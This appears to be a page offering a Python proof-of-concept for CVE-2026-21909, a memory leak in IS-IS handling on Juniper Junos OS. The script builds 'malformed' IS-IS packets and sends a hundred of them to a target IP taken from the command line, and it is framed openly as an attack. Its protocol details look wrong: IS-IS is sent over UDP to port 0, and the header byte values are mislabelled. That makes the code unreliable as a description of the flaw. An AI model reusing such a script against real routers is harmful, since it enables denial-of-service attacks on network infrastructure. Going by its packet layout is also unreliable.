CVE-2026-21909 Juniper Junos OS IS-IS路由协议内存泄漏漏洞

#!/usr/bin/env python3 """ CVE-2026-21909 PoC - Juniper Junos OS IS-IS Memory Leak This PoC demonstrates the memory leak vulnerability in IS-IS processing. Note: Use only for authorized security testing. """ import socket import struct import sys def create_isis_packet(): """Create a malformed IS-IS LSP packet to trigger memory leak""" # IS-IS Header isis_header = bytes([ 0xE0, # Pdu type: LSP 0x00, # Header length 0x00, 0x00, # Version 0x01, # ID length 0x00, # Max areas 0x00, # PDU lifetime ]) # Add malformed TLVs to trigger memory leak tlv_data = bytes([ 0x22, 0x00, # TLV type: IS Neighbors 0x00, 0x00, # TLV length ]) return isis_header + tlv_data def send_isis_packets(target_ip, port=0, count=100): """Send malicious IS-IS packets to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_isis_packet() print(f"[*] Sending {count} malicious IS-IS packets to {target_ip}") for i in range(count): try: sock.sendto(packet, (target_ip, port)) print(f"[+] Packet {i+1}/{count} sent") except Exception as e: print(f"[-] Error: {e}") sock.close() print("[*] Attack completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-21909.py <target_ip>") sys.exit(1) target = sys.argv[1] send_isis_packets(target)